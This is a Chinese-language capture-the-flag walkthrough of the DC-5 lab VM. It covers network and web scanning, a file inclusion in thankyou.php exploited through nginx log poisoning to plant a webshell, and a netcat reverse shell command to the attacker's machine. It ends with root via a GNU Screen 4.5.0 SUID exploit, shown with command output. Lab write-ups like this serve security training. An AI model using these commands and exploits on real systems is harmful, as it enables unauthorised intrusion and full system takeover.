DC-5靶机详细渗透流程
信息收集：
1.存活扫描：
由于靶机和kali都是nat的网卡，都在一个网段，我们用arp-scan会快一点：
arp-scan -I eth0 -l
靶机ip：172.16.1.131
└─# arp-scan -I eth0 -l
Interface: eth0, type: EN10MB, MAC: 00:0c:29:dd:ee:6a, IPv4: 172.16.1.128
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
172.16.1.1 00:50:56:c0:00:08 (Unknown)
172.16.1.2 00:50:56:e5:b1:08 (Unknown)
172.16.1.131 00:0c:29:46:79:e2 (Unknown)
172.16.1.254 00:50:56:f7:3e:16 (Unknown)2.端口扫描：
nmap -sS -p- 172.16.1.131
└─# nmap -sS -p- 172.16.1.131
PORT STATE SERVICE
80/tcp open http
111/tcp open rpcbind
50802/tcp open unknown
MAC Address: 00:0C:29:46:79:E2 (VMware)3.服务扫描：
nmap -sS -sVC -p -O 80,111,50802 --version-all 172.16.1.131
└─# nmap -sS -sVC -O -p 80,111,50802 --version-all 172.16.1.131
-------------------------------------
PORT STATE SERVICE VERSION
80/tcp open http nginx 1.6.2
|_http-server-header: nginx/1.6.2
|_http-title: Welcome
111/tcp open rpcbind 2-4 (RPC #100000)
| rpcinfo:
| program version port/proto service
| 100000 2,3,4 111/tcp rpcbind
| 100000 2,3,4 111/udp rpcbind
| 100000 3,4 111/tcp6 rpcbind
| 100000 3,4 111/udp6 rpcbind
| 100024 1 33994/udp6 status
| 100024 1 41510/udp status
| 100024 1 50802/tcp status
|_ 100024 1 59060/tcp6 status
50802/tcp open status 1 (RPC #100024)
MAC Address: 00:0C:29:46:79:E2 (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop4.Namp漏扫：
nmap -sS -p 80,111,50802 --script=vuln 172.16.1.131
这里发现 CSRF 但是对我们打靶没啥用，，
nmap -sS -p 80,111,50802 --script=vuln 172.16.1.131
-------------------------------------------------------------
PORT STATE SERVICE
80/tcp open http
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=172.16.1.131
| Found the following possible CSRF vulnerabilities:
|
| Path: http://172.16.1.131:80/contact.php
| Form id: fname
|_ Form action: thankyou.php
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
111/tcp open rpcbind
50802/tcp open unknown
MAC Address: 00:0C:29:46:79:E2 (VMware)WEB部分：
看不懂一点，，google翻译也翻译不了。
1.whatweb：
没啥有用的信息
└─# whatweb http://172.16.1.131
http://172.16.1.131 [200 OK] Country[RESERVED][ZZ],
HTML5,
HTTPServer[nginx/1.6.2],
IP[172.16.1.131],
Title[Welcome],
nginx[1.6.2]2.目录爆破：
dirsearch 扫后台，发现几个php文件，访问一下。
└─# dirsearch -u http://172.16.1.131
--------------------------------------------
Target: http://172.16.1.131/
[16:57:10] Starting:
[16:57:32] 200 - 4KB - /contact.php
[16:57:33] 301 - 184B - /css -> http://172.16.1.131/css/
[16:57:37] 200 - 6KB - /faq.php
[16:57:38] 200 - 17B - /footer.php
[16:57:41] 301 - 184B - /images -> http://172.16.1.131/images/
[16:57:41] 403 - 570B - /images/
[16:58:05] 200 - 852B - /thankyou.php http://172.16.1.131/concat.php
在concat 界面点击 submit 按钮：
发现每次刷新， ，底线的数字会变化：
http://172.16.2.131/thankyou.php
http://172.16.1.131/footer.php
发现不对劲了，，这个玩意是随机刷新时间的php文件，应该是 thankyou.php 调用了 footer.php，这里应该是文件包含漏洞。
3.漏洞利用：
burpsuite抓包一下：
修改参数：
果然是文件包含的漏洞
Shell
1.上传一句话木马：
查一下 nginx 的日志在 linux 操作系统上部署的路径：
先用 burpsuite 修改参数查看一下：
确实可以看见，但是成功日志没有发现上传的木马，那就应该是在 error.log 里面。
果然 我们那蚁剑连接一下，，
2:反弹shell：
蚁剑终端：nc -e /bin/bash 172.16.1.128 2233
kali：nc -lvvp 2233
交互式shell：
python -c 'import pty;pty.spawn("/bin/bash")'3.提权：
先查一下suid
find / -perm -u=s -type f 2>/dev/null发现screen-4.5.0
www-data@dc-5:~/html$ find / -perm -u=s -type f 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
/bin/su
/bin/mount
/bin/umount
/bin/screen-4.5.0 //这个
/usr/bin/gpasswd
/usr/bin/procmail
/usr/bin/at
/usr/bin/passwd
/usr/bin/chfn
/usr/bin/newgrp
/usr/bin/chsh
/usr/lib/openssh/ssh-keysign
/usr/lib/dbus-1.0/dbus-daemon-launch-helper
/usr/lib/eject/dmcrypt-get-device
/usr/sbin/exim4
/sbin/mount.nfssearchsploit 搜索并查看利用方式：
─# searchsploit screen 4.5
----------------------------------------------------------- ---------------------------------
Exploit Title | Path
----------------------------------------------------------- ---------------------------------
BlueIris 4.5.1.4 - Denial of Service | windows/dos/41474.py
GNU Screen 4.5.0 - Local Privilege Escalation | linux/local/41154.sh
GNU Screen 4.5.0 - Local Privilege Escalation (PoC) | linux/local/41152.txt
Mediacoder 0.8.34.5716 - '.m3u' Local Buffer Overflow (SEH | windows/local/36920.py
Nuked Klan SP CMS 4.5 - SQL Injection | php/webapps/19188.txt
Spider Player 2.4.5 - Denial of Service | windows/dos/15302.py
TFTPD32 4.5 / TFTPD64 4.5 - Denial of Service (PoC) | windows/dos/33348.pl
TFTPUtil GUI 1.4.5 - Denial of Service (Metasploit) | windows/dos/15674.rb
WaveMax Sound Editor 4.5.1 - Denial of Service (PoC) | windows/dos/15671.pl
X-Cart Gold 4.5 - 'products_map.php?symb' Cross-Site Scrip | php/webapps/20010.txt
简单来讲就是新建 libhax.c 和 rootshell.c 两个文件。把对应的内容写进去，然后编译，再把把最下方的内容存储到.sh文件里面，上传到靶机的/tmp目录里面执行即可
开始编译：
gcc -fPIC -shared -ldl -o libhax.so libhax.c
gcc -o rootshell rootshell.c
这里有蚁剑，直接拿蚁剑上传算了，，速度快一点。
这里提权失败了，，这里发现是 GLBC的版本不对，导致编译出来的文件不能成功提权。
发现靶机可以编译，把 rootshell.c 给靶机编译发现也可以。
www-data@dc-5:/tmp$ gcc -o rootshell rootshell.c
gcc -o rootshell rootshell.c
www-data@dc-5:/tmp$ ls
ls
libhax.so rootshell rootshell.c run.sh
www-data@dc-5:/tmp$ chmod 777 *
chmod 777 *
www-data@dc-5:/tmp$ ls
ls
libhax.so rootshell rootshell.c run.sh
www-data@dc-5:/tmp$ ./run.sh
./run.sh
[+] Now we create our /etc/ld.so.preload file...
[+] Triggering...
' from /etc/ld.so.preload cannot be preloaded (cannot open shared object file): ignored.
[+] done!
No Sockets found in /tmp/screens/S-www-data.
# id
id
uid=0(root) gid=0(root) groups=0(root),33(www-data)GLBC版本不要高于 2.3.4就行
看看flag吧
find / -name *flag*
/var/lib/mysql/debian-5.5.flag
/sys/devices/pci0000:00/0000:00:11.0/0000:02:01.0/net/eth0/flags
/sys/devices/system/cpu/cpu0/microcode/processor_flags
/usr/lib/x86_64-linux-gnu/perl/5.20.2/bits/waitflags.ph
/root/thisistheflag.txt
root@dc-5:/# cat /root/thisistheflag.txt
cat /root/thisistheflag.txt
888b 888 d8b 888 888 888 888
8888b 888 Y8P 888 888 888 888
88888b 888 888 888 888 888
888Y88b 888 888 .d8888b .d88b. 888 888 888 .d88b. 888d888 888 888 888 888 888
888 Y88b888 888 d88P" d8P Y8b 888 888 888 d88""88b 888P" 888 .88P 888 888 888
888 Y88888 888 888 88888888 888 888 888 888 888 888 888888K Y8P Y8P Y8P
888 Y8888 888 Y88b. Y8b. Y88b 888 d88P Y88..88P 888 888 "88b " " "
888 Y888 888 "Y8888P "Y8888 "Y8888888P" "Y88P" 888 888 888 888 888 888
Once again, a big thanks to all those who do these little challenges,
and especially all those who give me feedback - again, it's all greatly
appreciated. :-)
I also want to send a big thanks to all those who find the vulnerabilities
and create the exploits that make these challenges possible.
root@dc-5:/#